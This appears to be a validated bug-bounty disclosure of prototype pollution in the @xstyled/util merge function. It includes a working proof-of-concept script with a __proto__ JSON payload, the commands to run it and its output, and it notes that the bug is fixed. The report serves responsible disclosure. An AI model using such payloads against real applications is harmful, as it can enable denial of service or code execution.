Prototype Pollution in gregberge/xstyled

Valid

Reported on

Jun 16th 2021


✍️ Description

@xstyled/util is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
var util = require("@xstyled/util")
var obj = {}
const payload =  JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
console.log("Before : " + obj.polluted);
util.merge(obj, payload);
console.log("After : " + obj.polluted);
  1. Execute the following commands in another terminal:
npm i @xstyled/util # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

💥 Impact

This vulnerability is capable of causing Remote Code Execution and Denial of Service attacks depending upon how it is used.

Occurrences

ready-research submitted a
2 years ago
Greg Bergé validated this vulnerability 2 years ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
Greg Bergé marked this as fixed with commit 34ed14 2 years ago
ready-research has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation